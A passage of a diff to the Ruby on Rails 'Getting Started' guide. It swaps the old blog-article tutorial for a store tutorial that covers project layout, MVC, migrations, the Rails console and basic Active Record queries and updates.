+|bin/|Contains the `rails` script that starts your app and can contain other scripts you use to set up, update, deploy, or run your application.|
+|config/|Contains configuration for your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).|
+|config.ru|[Rack](https://rack.github.io) configuration for Rack-based servers used to start the application.|
 |db/|Contains your current database schema, as well as the database migrations.|
-|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the [Bundler website](http://bundler.io).|
+|Dockerfile|Configuration file for Docker.|
+|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the [Bundler](https://bundler.io) gem.|
 |lib/|Extended modules for your application.|
 |log/|Application log files.|
-|public/|The only folder seen by the world as-is. Contains static files and compiled assets.|
-|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
+|public/|Contains static files and compiled assets. When your app is running, this directory will be exposed as-is.|
+|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing `Rakefile`, you should add your own tasks by adding files to the `lib/tasks` directory of your application.|
 |README.md|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
+|script/|Contains one-off or general purpose [scripts](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/script/USAGE) and [benchmarks](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/benchmark/USAGE).|
+|storage/|Contains SQLite databases and Active Storage files for Disk Service. This is covered in [Active Storage Overview](active_storage_overview.html).|
 |test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).|
 |tmp/|Temporary files (like cache and pid files).|
 |vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.|
-|.gitignore|This file tells git which files (or patterns) it should ignore. See [Github - Ignoring files](https://help.github.com/articles/ignoring-files) for more info about ignoring files.
+|.dockerignore|This file tells Docker which files it should not copy into the container.|
+|.gitattributes|This file defines metadata for specific paths in a Git repository. This metadata can be used by Git and other tools to enhance their behavior. See the [gitattributes documentation](https://git-scm.com/docs/gitattributes) for more information.|
+|.git/|Contains Git repository files.|
+|.github/|Contains GitHub specific files.|
+|.gitignore|This file tells Git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for more information about ignoring files.|
+|.kamal/|Contains Kamal secrets and deployment hooks.|
+|.rubocop.yml|This file contains the configuration for RuboCop.|
+|.ruby-version|This file contains the default Ruby version.|
+
+### Model-View-Controller Basics
+
+Rails code is organized using the Model-View-Controller (MVC) architecture. With
+MVC, we have three main concepts where the majority of our code lives:
+
+* Model - Manages the data in your application. Typically, your database tables.
+* View - Handles rendering responses in different formats like HTML, JSON, XML,
+  etc.
+* Controller - Handles user interactions and the logic for each request.
+
+<picture class="flowdiagram">
+  <source srcset="images/getting_started/mvc_architecture_dark.jpg" media="(prefers-color-scheme:dark)">
+  <img src="images/getting_started/mvc_architecture_light.jpg">
+</picture>
+
+Now that we've got a basic understanding of MVC, let's see how it's used in
+Rails.
 
 Hello, Rails!
 -------------
 
-To begin with, let's get some text up on screen quickly. To do this, you need to
-get your Rails application server running.
+Let's start easy by creating our application's database and boot up our Rails server for the first time.
+
+In your terminal, run the following commands in the `store` directory:
 
-### Starting up the Web Server
+```bash
+$ bin/rails db:create
+```
 
-You actually have a functional Rails application already. To see it, you need to
-start a web server on your development machine. You can do this by running the
-following in the `blog` directory:
+This will initially create the application's database.
 
 ```bash
 $ bin/rails server
 ```
 
-TIP: If you are using Windows, you have to pass the scripts under the `bin`
-folder directly to the Ruby interpreter e.g. `ruby bin\rails server`.
+NOTE: When we run commands inside an application directory, we should use
+`bin/rails`. This makes sure the application's version of Rails is used.
 
-TIP: Compiling CoffeeScript and JavaScript asset compression requires you
-have a JavaScript runtime available on your system, in the absence
-of a runtime you will see an `execjs` error during asset compilation.
-Usually Mac OS X and Windows come with a JavaScript runtime installed.
-Rails adds the `therubyracer` gem to the generated `Gemfile` in a
-commented line for new apps and you can uncomment if you need it.
-`therubyrhino` is the recommended runtime for JRuby users and is added by
-default to the `Gemfile` in apps generated under JRuby. You can investigate
-all the supported runtimes at [ExecJS](https://github.com/rails/execjs#readme).
+This will start up a web server called Puma that will serve static files and
+your Rails application:
 
-This will fire up Puma, a web server distributed with Rails by default. To see
-your application in action, open a browser window and navigate to
-<http://localhost:3000>. You should see the Rails default information page:
-
-![Welcome aboard screenshot](images/getting_started/rails_welcome.png)
+```bash
+=> Booting Puma
+=> Rails 8.2.0 application starting in development
+=> Run `bin/rails server --help` for more startup options
+Puma starting in single mode...
+* Puma version: 6.4.3 (ruby 3.3.5-p100) ("The Eagle of Durango")
+*  Min threads: 3
+*  Max threads: 3
+*  Environment: development
+*          PID: 12345
+* Listening on http://127.0.0.1:3000
+* Listening on http://[::1]:3000
+Use Ctrl-C to stop
+```
 
-TIP: To stop the web server, hit Ctrl+C in the terminal window where it's
-running. To verify the server has stopped you should see your command prompt
-cursor again. For most UNIX-like systems including Mac OS X this will be a
-dollar sign `$`. In development mode, Rails does not generally require you to
-restart the server; changes you make in files will be automatically picked up by
-the server.
+To see your Rails application, open http://localhost:3000 in your browser. You
+will see the default Rails welcome page:
 
-The "Welcome aboard" page is the _smoke test_ for a new Rails application: it
-makes sure that you have your software configured correctly enough to serve a
-page.
+![Rails welcome page](images/getting_started/rails_welcome.png)
 
-### Say "Hello", Rails
+It works!
 
-To get Rails saying "Hello", you need to create at minimum a _controller_ and a
-_view_.
+This page is the *smoke test* for a new Rails application, ensuring that
+everything is working behind the scenes to serve a page.
 
-A controller's purpose is to receive specific requests for the application.
-_Routing_ decides which controller receives which requests. Often, there is more
-than one route to each controller, and different routes can be served by
-different _actions_. Each action's purpose is to collect information to provide
-it to a view.
+To stop the Rails server anytime, press `Ctrl-C` in your terminal.
 
-A view's purpose is to display this information in a human readable format. An
-important distinction to make is that it is the _controller_, not the view,
-where information is collected. The view should just display that information.
-By default, view templates are written in a language called eRuby (Embedded
-Ruby) which is processed by the request cycle in Rails before being sent to the
-user.
+### Autoloading in Development
 
-To create a new controller, you will need to run the "controller" generator and
-tell it you want a controller called "Welcome" with an action called "index",
-just like this:
+Developer happiness is a cornerstone philosophy of Rails and one way of
+achieving this is with automatic code reloading in development.
 
-```bash
-$ bin/rails generate controller Welcome index
-```
+Once you start the Rails server, new files or changes to existing files are
+detected and automatically loaded or reloaded as necessary. This allows you to
+focus on building without having to restart your Rails server after every
+change.
 
-Rails will create several files and a route for you.
+You may also notice that Rails applications rarely use `require` statements like
+you may have seen in other programming languages. Rails uses naming conventions
+to require files automatically so you can focus on writing your application
+code.
 
-```bash
-create  app/controllers/welcome_controller.rb
- route  get 'welcome/index'
-invoke  erb
-create    app/views/welcome
-create    app/views/welcome/index.html.erb
-invoke  test_unit
-create    test/controllers/welcome_controller_test.rb
-invoke  helper
-create    app/helpers/welcome_helper.rb
-invoke    test_unit
-invoke  assets
-invoke    coffee
-create      app/assets/javascripts/welcome.coffee
-invoke    scss
-create      app/assets/stylesheets/welcome.scss
-```
-
-Most important of these are of course the controller, located at
-`app/controllers/welcome_controller.rb` and the view, located at
-`app/views/welcome/index.html.erb`.
-
-Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all
-of the existing code in the file, and replace it with the following single line
-of code:
+See
+[Autoloading and Reloading Constants](autoloading_and_reloading_constants.html)
+for more details.
 
-```html
-<h1>Hello, Rails!</h1>
-```
+Creating a Database Model
+-------------------------
 
-### Setting the Application Home Page
+Active Record is a feature of Rails that maps relational databases to Ruby code.
+It helps generate the structured query language (SQL) for interacting with the
+database like creating, updating, and deleting tables and records. Our
+application is using SQLite which is the default for Rails.
 
-Now that we have made the controller and view, we need to tell Rails when we
-want "Hello, Rails!" to show up. In our case, we want it to show up when we
-navigate to the root URL of our site, <http://localhost:3000>. At the moment,
-"Welcome aboard" is occupying that spot.
+Let's start by adding a database table to our Rails application to add products
+to our simple e-commerce store.
 
-Next, you have to tell Rails where your actual home page is located.
+```bash
+$ bin/rails generate model Product name:string
+```
 
-Open the file `config/routes.rb` in your editor.
+This command tells Rails to generate a model named `Product` which has a `name`
+column and type of `string` in the database. Later on, you'll learn how to add
+other column types.
 
-```ruby
-Rails.application.routes.draw do
-  get 'welcome/index'
+You'll see the following in your terminal:
 
-  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
-end
+```bash
+      invoke  active_record
+      create    db/migrate/20240426151900_create_products.rb
+      create    app/models/product.rb
+      invoke    test_unit
+      create      test/models/product_test.rb
+      create      test/fixtures/products.yml
 ```
 
-This is your application's _routing file_ which holds entries in a special
-[DSL (domain-specific language)](http://en.wikipedia.org/wiki/Domain-specific_language)
-that tells Rails how to connect incoming requests to
-controllers and actions.
-Edit this file by adding the line of code `root 'welcome#index'`.
-It should look something like the following:
+This command does several things. It creates...
 
-```ruby
-Rails.application.routes.draw do
-  get 'welcome/index'
-
-  root 'welcome#index'
-end
-```
+1. A migration in the `db/migrate` folder.
+2. An Active Record model in `app/models/product.rb`.
+3. Tests and test fixtures for this model.
 
-`root 'welcome#index'` tells Rails to map requests to the root of the
-application to the welcome controller's index action and `get 'welcome/index'`
-tells Rails to map requests to <http://localhost:3000/welcome/index> to the
-welcome controller's index action. This was created earlier when you ran the
-controller generator (`bin/rails generate controller Welcome index`).
+NOTE: Model names are *singular*, because an instantiated model represents a
+single record in the database (i.e., You are creating a _product_ to add to the
+database.).
 
-Launch the web server again if you stopped it to generate the controller (`bin/rails
-server`) and navigate to <http://localhost:3000> in your browser. You'll see the
-"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`,
-indicating that this new route is indeed going to `WelcomeController`'s `index`
-action and is rendering the view correctly.
+### Database Migrations
 
-TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html).
+A _migration_ is a set of changes we want to make to our database.
 
-Getting Up and Running
-----------------------
+By defining migrations, we're telling Rails how to change the database to add,
+change, or remove tables, columns or other attributes of our database. This
+helps keep track of changes we make in development (only on our computer) so
+they can be deployed to production (live, online!) safely.
 
-Now that you've seen how to create a controller, an action and a view, let's
-create something with a bit more substance.
+In your code editor, open the migration Rails created for us so we can see what
+the migration does.
 
-In the Blog application, you will now create a new _resource_. A resource is the
-term used for a collection of similar objects, such as articles, people or
-animals.
-You can create, read, update and destroy items for a resource and these
-operations are referred to as _CRUD_ operations.
+NOTE: As convention we'll state the filepath as a comment on top of each file
 
-Rails provides a `resources` method which can be used to declare a standard REST
-resource. You need to add the _article resource_ to the
-`config/routes.rb` so the file will look as follows:
 
 ```ruby
-Rails.application.routes.draw do
-  get 'welcome/index'
-
-  resources :articles
+# db/migrate/<timestamp>_create_products.rb
+class CreateProducts < ActiveRecord::Migration[8.2]
+  def change
+    create_table :products do |t|
+      t.string :name
 
-  root 'welcome#index'
+      t.timestamps
+    end
+  end
 end
 ```
 
-If you run `bin/rails routes`, you'll see that it has defined routes for all the
-standard RESTful actions.  The meaning of the prefix column (and other columns)
-will be seen later, but for now notice that Rails has inferred the
-singular form `article` and makes meaningful use of the distinction.
-
-```bash
-$ bin/rails routes
-      Prefix Verb   URI Pattern                  Controller#Action
-    articles GET    /articles(.:format)          articles#index
-             POST   /articles(.:format)          articles#create
- new_article GET    /articles/new(.:format)      articles#new
-edit_article GET    /articles/:id/edit(.:format) articles#edit
-     article GET    /articles/:id(.:format)      articles#show
-             PATCH  /articles/:id(.:format)      articles#update
-             PUT    /articles/:id(.:format)      articles#update
-             DELETE /articles/:id(.:format)      articles#destroy
-        root GET    /                            welcome#index
-```
-
-In the next section, you will add the ability to create new articles in your
-application and be able to view them. This is the "C" and the "R" from CRUD:
-create and read. The form for doing this will look like this:
+This migration is telling Rails to create a new database table named `products`.
 
-![The new article form](images/getting_started/new_article.png)
+NOTE: In contrast to the model above, Rails makes the database table names
+_plural_, because the database holds all of the instances of each model (i.e.,
+You are creating a database of _products_).
 
-It will look a little basic for now, but that's ok. We'll look at improving the
-styling for it afterwards.
+The `create_table` block then defines which columns and types should be defined
+in this database table.
 
-### Laying down the groundwork
+`t.string :name` tells Rails to create a column in the `products` table called
+`name` and set the type as `string`.
 
-Firstly, you need a place within the application to create a new article. A
-great place for that would be at `/articles/new`. With the route already
-defined, requests can now be made to `/articles/new` in the application.
-Navigate to <http://localhost:3000/articles/new> and you'll see a routing
-error:
+`t.timestamps` is a shortcut for defining two columns on your models:
+`created_at:datetime` and `updated_at:datetime`. You'll see these columns on
+most Active Record models in Rails and they are automatically set by Active
+Record when creating or updating records.
 
-![Another routing error, uninitialized constant ArticlesController](images/getting_started/routing_error_no_controller.png)
+### Running Migrations
 
-This error occurs because the route needs to have a controller defined in order
-to serve the request. The solution to this particular problem is simple: create
-a controller called `ArticlesController`. You can do this by running this
-command:
+Now that you have defined what changes to make to the database, use the
+following command to run the migrations:
 
 ```bash
-$ bin/rails generate controller Articles
+$ bin/rails db:migrate
 ```
 
-If you open up the newly generated `app/controllers/articles_controller.rb`
-you'll see a fairly empty controller:
+This command checks for any new migrations and applies them to your database.
+Its output looks like this:
 
-```ruby
-class ArticlesController < ApplicationController
-end
+```bash
+== 20240426151900 CreateProducts: migrating ===================================
+-- create_table(:products)
+   -> 0.0030s
+== 20240426151900 CreateProducts: migrated (0.0031s) ==========================
 ```
 
-A controller is simply a class that is defined to inherit from
-`ApplicationController`.
-It's inside this class that you'll define methods that will become the actions
-for this controller. These actions will perform CRUD operations on the articles
-within our system.
+TIP: If you make a mistake, you can run `bin/rails db:rollback` to undo the last
+migration.
 
-NOTE: There are `public`, `private` and `protected` methods in Ruby,
-but only `public` methods can be actions for controllers.
-For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/).
+Rails Console
+-------------
 
-If you refresh <http://localhost:3000/articles/new> now, you'll get a new error:
+Now that we have created our products table, we can interact with it in Rails.
+Let's try it out.
 
-![Unknown action new for ArticlesController!](images/getting_started/unknown_action_new_for_articles.png)
+For this, we're going to use a Rails feature called the *console*. The console
+is a helpful, interactive tool for testing our code in our Rails application.
 
-This error indicates that Rails cannot find the `new` action inside the
-`ArticlesController` that you just generated. This is because when controllers
-are generated in Rails they are empty by default, unless you tell it
-your desired actions during the generation process.
+```bash
+$ bin/rails console
+```
 
-To manually define an action inside a controller, all you need to do is to
-define a new method inside the controller. Open
-`app/controllers/articles_controller.rb` and inside the `ArticlesController`
-class, define the `new` method so that your controller now looks like this:
+You will be presented with a prompt like the following:
 
-```ruby
-class ArticlesController < ApplicationController
-  def new
-  end
-end
+```irb
+Loading development environment (Rails 8.2.0)
+store(dev)>
 ```
 
-With the `new` method defined in `ArticlesController`, if you refresh
-<http://localhost:3000/articles/new> you'll see another error:
+Here we can type code that will be executed when we hit `Enter`. Let's try
+printing out the Rails version:
 
-![Template is missing for articles/new]
-(images/getting_started/template_is_missing_articles_new.png)
-
-You're getting this error now because Rails expects plain actions like this one
-to have views associated with them to display their information. With no view
-available, Rails will raise an exception.
+```irb
+store(dev)> Rails.version
+=> "8.2.0"
+```
 
-In the above image, the bottom line has been truncated. Let's see what the full
-error message looks like:
+It works!
 
->ArticlesController#new is missing a template for this request format and variant. request.formats: ["text/html"] request.variant: [] NOTE! For XHR/Ajax or API requests, this action would normally respond with 204 No Content: an empty white screen. Since you're loading it in a web browser, we assume that you expected to actually render a template, not… nothing, so we're showing an error to be extra-clear. If you expect 204 No Content, carry on. That's what you'll get from an XHR or API request. Give it a shot.
+Active Record Model Basics
+--------------------------
 
-That's quite a lot of text! Let's quickly go through and understand what each
-part of it means.
+When we ran the Rails model generator to create the `Product` model, it created
+a file at `app/models/product.rb`. This file creates a class that uses Active
+Record for interacting with our `products` database table.
 
-The first part identifies which template is missing. In this case, it's the
-`articles/new` template. Rails will first look for this template. If not found,
-then it will attempt to load a template called `application/new`. It looks for
-one here because the `ArticlesController` inherits from `ApplicationController`.
+```ruby
+# app/models/product.rb
+class Product < ApplicationRecord
+end
+```
 
-The next part of the message contains `request.formats` which specifies
-the format of template to be served in response. It is set to `text/html` as we
-requested this page via browser, so Rails is looking for an HTML template.
-`request.variant` specifies what kind of physical devices would be served by
-the response and helps Rails determine which template to use in the response.
-It is empty because no information has been provided.
+You might be surprised that there is no code in this class. How does Rails know
+what defines this model?
 
-The simplest template that would work in this case would be one located at
-`app/views/articles/new.html.erb`. The extension of this file name is important:
-the first extension is the _format_ of the template, and the second extension
-is the _handler_ that will be used to render the template. Rails is attempting
-to find a template called `articles/new` within `app/views` for the
-application. The format for this template can only be `html` and the default
-handler for HTML is `erb`. Rails uses other handlers for other formats.
-`builder` handler is used to build XML templates and `coffee` handler uses
-CoffeeScript to build JavaScript templates. Since you want to create a new
-HTML form, you will be using the `ERB` language which is designed to embed Ruby
-in HTML.
+When the `Product` model is used, Rails will query the database table for the
+column names and types and automatically generate code for these attributes.
+Rails saves us from writing this boilerplate code and instead takes care of it
+for us behind the scenes so we can focus on our application logic instead.
 
-Therefore the file should be called `articles/new.html.erb` and needs to be
-located inside the `app/views` directory of the application.
+Let's use the Rails console to see what columns Rails detects for the Product
+model.
 
-Go ahead now and create a new file at `app/views/articles/new.html.erb` and
-write this content in it:
+Run:
 
-```html
-<h1>New Article</h1>
+```irb
+store(dev)> Product.column_names
 ```
 
-When you refresh <http://localhost:3000/articles/new> you'll now see that the
-page has a title. The route, controller, action and view are now working
-harmoniously! It's time to create the form for a new article.
+And you should see:
 
-### The first form
+```irb
+=> ["id", "name", "created_at", "updated_at"]
+```
 
-To create a form within this template, you will use a *form
-builder*. The primary form builder for Rails is provided by a helper
-method called `form_for`. To use this method, add this code into
-`app/views/articles/new.html.erb`:
+Rails asked the database for column information above and used that information
+to define attributes on the `Product` class dynamically so you don't have to
+manually define each of them. This is one example of how Rails makes development
+a breeze.
 
-```html+erb
-<%= form_for :article do |f| %>
-  <p>
-    <%= f.label :title %><br>
-    <%= f.text_field :title %>
-  </p>
+### Creating Records
 
-  <p>
-    <%= f.label :text %><br>
-    <%= f.text_area :text %>
-  </p>
+We can instantiate a new Product record with the following code:
 
-  <p>
-    <%= f.submit %>
-  </p>
-<% end %>
+```irb
+store(dev)> product = Product.new(name: "T-Shirt")
+=> #<Product:0x000000012e616c30 id: nil, name: "T-Shirt", created_at: nil, updated_at: nil>
 ```
 
-If you refresh the page now, you'll see the exact same form from our example above.
-Building forms in Rails is really just that easy!
+The `product` variable is an instance of `Product`. It has not been saved to the
+database, and so does not have an ID, created_at, or updated_at timestamps.
 
-When you call `form_for`, you pass it an identifying object for this
-form. In this case, it's the symbol `:article`. This tells the `form_for`
-helper what this form is for. Inside the block for this method, the
-`FormBuilder` object - represented by `f` - is used to build two labels and two
-text fields, one each for the title and text of an article. Finally, a call to
-`submit` on the `f` object will create a submit button for the form.
+We can call `save` to write the record to the database.
 
-There's one problem with this form though. If you inspect the HTML that is
-generated, by viewing the source of the page, you will see that the `action`
-attribute for the form is pointing at `/articles/new`. This is a problem because
-this route goes to the very page that you're on right at the moment, and that
-route should only be used to display the form for a new article.
+```irb
+store(dev)> product.save
+  TRANSACTION (0.1ms)  BEGIN immediate TRANSACTION /*application='Store'*/
+  Product Create (0.9ms)  INSERT INTO "products" ("name", "created_at", "updated_at") VALUES ('T-Shirt', '2024-11-09 16:35:01.117836', '2024-11-09 16:35:01.117836') RETURNING "id" /*application='Store'*/
+  TRANSACTION (0.9ms)  COMMIT TRANSACTION /*application='Store'*/
+=> true
+```
 
-The form needs to use a different URL in order to go somewhere else.
-This can be done quite simply with the `:url` option of `form_for`.
-Typically in Rails, the action that is used for new form submissions
-like this is called "create", and so the form should be pointed to that action.
+When `save` is called, Rails takes the attributes in memory and generates an
+`INSERT` SQL query to insert this record into the database.
 
-Edit the `form_for` line inside `app/views/articles/new.html.erb` to look like
-this:
+Rails also updates the object in memory with the database record `id` along with
+the `created_at` and `updated_at` timestamps. We can see that by printing out
+the `product` variable.
 
-```html+erb
-<%= form_for :article, url: articles_path do |f| %>
+```irb
+store(dev)> product
+=> #<Product:0x00000001221f6260 id: 1, name: "T-Shirt", created_at: "2024-11-09 16:35:01.117836000 +0000", updated_at: "2024-11-09 16:35:01.117836000 +0000">
 ```
 
-In this example, the `articles_path` helper is passed to the `:url` option.
-To see what Rails will do with this, we look back at the output of
-`bin/rails routes`:
+Similar to `save`, we can use `create` to instantiate and save an Active Record
+object in a single call.
 
-```bash
-$ bin/rails routes
-      Prefix Verb   URI Pattern                  Controller#Action
-    articles GET    /articles(.:format)          articles#index
-             POST   /articles(.:format)          articles#create
- new_article GET    /articles/new(.:format)      articles#new
-edit_article GET    /articles/:id/edit(.:format) articles#edit
-     article GET    /articles/:id(.:format)      articles#show
-             PATCH  /articles/:id(.:format)      articles#update
-             PUT    /articles/:id(.:format)      articles#update
-             DELETE /articles/:id(.:format)      articles#destroy
-        root GET    /                            welcome#index
+```irb
+store(dev)> Product.create(name: "Pants")
+  TRANSACTION (0.1ms)  BEGIN immediate TRANSACTION /*application='Store'*/
+  Product Create (0.4ms)  INSERT INTO "products" ("name", "created_at", "updated_at") VALUES ('Pants', '2024-11-09 16:36:01.856751', '2024-11-09 16:36:01.856751') RETURNING "id" /*application='Store'*/
+  TRANSACTION (0.1ms)  COMMIT TRANSACTION /*application='Store'*/
+=> #<Product:0x0000000120485c80 id: 2, name: "Pants", created_at: "2024-11-09 16:36:01.856751000 +0000", updated_at: "2024-11-09 16:36:01.856751000 +0000">
 ```
 
-The `articles_path` helper tells Rails to point the form to the URI Pattern
-associated with the `articles` prefix; and the form will (by default) send a
-`POST` request to that route. This is associated with the `create` action of
-the current controller, the `ArticlesController`.
+### Querying Records
 
-With the form and its associated route defined, you will be able to fill in the
-form and then click the submit button to begin the process of creating a new
-article, so go ahead and do that. When you submit the form, you should see a
-familiar error:
+We can also look up records from the database using our Active Record model.
 
-![Unknown action create for ArticlesController]
-(images/getting_started/unknown_action_create_for_articles.png)
+To find all the Product records in the database, we can use the `all` method.
+This is a _class_ method, which is why we can use it on Product (versus an
+instance method that we would call on the product instance, like `save` above).
 
-You now need to create the `create` action within the `ArticlesController` for
-this to work.
+```irb
+store(dev)> Product.all
+  Product Load (0.1ms)  SELECT "products".* FROM "products" /* loading for pp */ LIMIT 11 /*application='Store'*/
+=> [#<Product:0x0000000121845158 id: 1, name: "T-Shirt", created_at: "2024-11-09 16:35:01.117836000 +0000", updated_at: "2024-11-09 16:35:01.117836000 +0000">,
+ #<Product:0x0000000121845018 id: 2, name: "Pants", created_at: "2024-11-09 16:36:01.856751000 +0000", updated_at: "2024-11-09 16:36:01.856751000 +0000">]
+```
 
-### Creating articles
+This generates a `SELECT` SQL query to load all records from the `products`
+table. Each record is automatically converted into an instance of our Product
+Active Record model so we can easily work with them from Ruby.
 
-To make the "Unknown action" go away, you can define a `create` action within
-the `ArticlesController` class in `app/controllers/articles_controller.rb`,
-underneath the `new` action, as shown:
+TIP: The `all` method returns an `ActiveRecord::Relation` object which is an
+Array-like collection of database records with features to filter, sort, and
+execute other database operations.
 
-```ruby
-class ArticlesController < ApplicationController
-  def new
-  end
+### Filtering & Ordering Records
 
-  def create
-  end
-end
+What if we want to filter the results from our database? We can use `where` to
+filter records by a column.
+
+```irb
+store(dev)> Product.where(name: "Pants")
+  Product Load (1.5ms)  SELECT "products".* FROM "products" WHERE "products"."name" = 'Pants' /* loading for pp */ LIMIT 11 /*application='Store'*/
+=> [#<Product:0x000000012184d858 id: 2, name: "Pants", created_at: "2024-11-09 16:36:01.856751000 +0000", updated_at: "2024-11-09 16:36:01.856751000 +0000">]
 ```
 
-If you re-submit the form now, you may not see any change on the page. Don't worry!
-This is because Rails by default returns `204 No Content` response for an action if
-we don't specify what the response should be. We just added the `create` action
-but didn't specify anything about how the response should be. In this case, the
-`create` action should save our new article to the database.
+This generates a `SELECT` SQL query but also adds a `WHERE` clause to filter the
+records that have a `name` matching `"Pants"`. This also returns an
+`ActiveRecord::Relation` because multiple records may have the same name.
 
-When a form is submitted, the fields of the form are sent to Rails as
-_parameters_. These parameters can then be referenced inside the controller
-actions, typically to perform a particular task. To see what these parameters
-look like, change the `create` action to this:
+We can use `order(name: :asc)` to sort records by name in ascending alphabetical order.
 
-```ruby
-def create
-  render plain: params[:article].inspect
-end
+```irb
+store(dev)> Product.order(name: :asc)
+  Product Load (0.3ms)  SELECT "products".* FROM "products" /* loading for pp */ ORDER BY "products"."name" ASC LIMIT 11 /*application='Store'*/
+=> [#<Product:0x0000000120e02a88 id: 2, name: "Pants", created_at: "2024-11-09 16:36:01.856751000 +0000", updated_at: "2024-11-09 16:36:01.856751000 +0000">,
+ #<Product:0x0000000120e02948 id: 1, name: "T-Shirt", created_at: "2024-11-09 16:35:01.117836000 +0000", updated_at: "2024-11-09 16:35:01.117836000 +0000">]
 ```
 
-The `render` method here is taking a very simple hash with a key of `:plain` and
-value of `params[:article].inspect`. The `params` method is the object which
-represents the parameters (or fields) coming in from the form. The `params`
-method returns an `ActionController::Parameters` object, which
-allows you to access the keys of the hash using either strings or symbols. In
-this situation, the only parameters that matter are the ones from the form.
+### Finding Records
 
-TIP: Ensure you have a firm grasp of the `params` method, as you'll use it fairly regularly. Let's consider an example URL: **http://www.example.com/?username=dhh&email=dhh@email.com**. In this URL, `params[:username]` would equal "dhh" and `params[:email]` would equal "dhh@email.com".
+What if we want to find one specific record?
 
-If you re-submit the form one more time, you'll see something that looks like the following:
+We can do this by using the `find` class method to look up a single record by
+ID. Call the method and pass in the specific ID by using the following code:
 
-```ruby
-<ActionController::Parameters {"title"=>"First Article!", "text"=>"This is my first article."} permitted: false>
+```irb
+store(dev)> Product.find(1)
+  Product Load (0.2ms)  SELECT "products".* FROM "products" WHERE "products"."id" = 1 LIMIT 1 /*application='Store'*/
+=> #<Product:0x000000012054af08 id: 1, name: "T-Shirt", created_at: "2024-11-09 16:35:01.117836000 +0000", updated_at: "2024-11-09 16:35:01.117836000 +0000">
 ```
 
-This action is now displaying the parameters for the article that are coming in
-from the form. However, this isn't really all that helpful. Yes, you can see the
-parameters but nothing in particular is being done with them.
+This generates a `SELECT` query but specifies a `WHERE` for the `id` column
+matching the ID of `1` that was passed in. It also adds a `LIMIT` to only return
+a single record.
 
-### Creating the Article model
+This time, we get a `Product` instance instead of an `ActiveRecord::Relation`
+since we're only retrieving a single record from the database.
 
-Models in Rails use a singular name, and their corresponding database tables
-use a plural name. Rails provides a generator for creating models, which most
-Rails developers tend to use when creating new models. To create the new model,
-run this command in your terminal:
+### Updating Records
 
-```bash
-$ bin/rails generate model Article title:string text:text
-```
+Records can be updated in 2 ways: using `update` or assigning attributes and
+calling `save`.
+
+We can call `update` on a Product instance and pass in a Hash of new attributes
+to save to the database. This will assign the attributes, run validations, and
+save the changes to the database in one method call.
 
-With that command we told Rails that we want an `Article` model, together
-with a _title_ attribute of type string, and a _text_ attribute
-of type text. Those attributes are automatically added to the `articles`
-table in the database and mapped to the `Article` model.
+```irb
+store(dev)> product = Product.find(1)
+store(dev)> product.update(name: "Shoes")
+  TRANSACTION (0.1ms)  BEGIN immediate TRANSACTION /*application='Store'*/
+  Product Update (0.3ms)  UPDATE "products" SET "name" = 'Shoes', "updated_at" = '2024-11-09 22:38:19.638912' WHERE "products"."id" = 1 /*application='Store'*/
+  TRANSACTION (0.4ms)  COMMIT TRANSACTION /*application='Store'*/
+=> true
+```
 
-Rails responded by creating a bunch of files. For now, we're only interested
-in `app/models/article.rb` and `db/migrate/20140120191729_create_articles.rb`
-(your name could be a bit different). The latter is responsible for creating
-the database structure, which is what we'll look at next.
+This updated the name of the "T-Shirt" product to "Shoes" in the database.
+Confirm this by running `Product.all` again.
 
-TIP: Active Record is smart enough to automatically map column names to model
-attributes, which means you don't have to declare attributes inside Rails
-models, as that will be done automatically by Active Record.
+```irb
+store(dev)> Product.all
+```
 
-### Running a Migration
+You will see two products: Shoes and Pants.
 
-As we've just seen, `bin/rails generate model` created a _database migration_ file
-inside the `db/migrate` directory. Migrations are Ruby classes that are
-designed to make it simple to create and modify database tables. Rails uses
-rake commands to run migrations, and it's possible to undo a migration after
-it's been applied to your database. Migration filenames include a timestamp to
-ensure that they're processed in the order that they were created.
+```irb
+  Product Load (0.3ms)  SELECT "products".* FROM "products" /* loading for pp */ LIMIT 11 /*application='Store'*/
+=>
+[#<Product:0x000000012c0f7300
+  id: 1,
+  name: "Shoes",
+  created_at: "2024-12-02 20:29:56.303546000 +0000",
+  updated_at: "2024-12-02 20:30:14.127456000 +0000">,
+ #<Product:0x000000012c0f71c0
+  id: 2,
+  name: "Pants",
+  created_at: "2024-12-02 20:30:02.997261000 +0000",
+  updated_at: "2024-12-02 20:30:02.997261000 +0000">]
+```
 
-If you look in the `db/migrate/YYYYMMDDHHMMSS_create_articles.rb` file
-(remember, yours will have a slightly different name), here's what you'll find:
+Alternatively, we can assign attributes and call `save` when we're ready to
+validate and save changes to the database.
 
-```ruby
-class CreateArticles < ActiveRecord::Migration[5.0]
-  def change
-    create_table :articles do |t|
-      t.string :title
-      t.text :text
+Let's change the name "Shoes" back to "T-Shirt".
 
-      t.timestamps
-    end
-  end
-end
+```irb
+store(dev)> product = Product.find(1)
+store(dev)> product.name = "T-Shirt"
+=> "T-Shirt"
+store(dev)> product.save
+  TRANSACTION (0.1ms)  BEGIN immediate TRANSACTION /*application='Store'*/
+  Product Update (0.2ms)  UPDATE "products" SET "name" = 'T-Shirt', "updated_at" = '2024-11-09 22:39:09.693548' WHERE "products"."id" = 1 /*application='Store'*/
+  TRANSACTION (0.0ms)  COMMIT TRANSACTION /*application='Store'*/
+=> true
 ```
 
-The above migration creates a method named `change` which will be called when
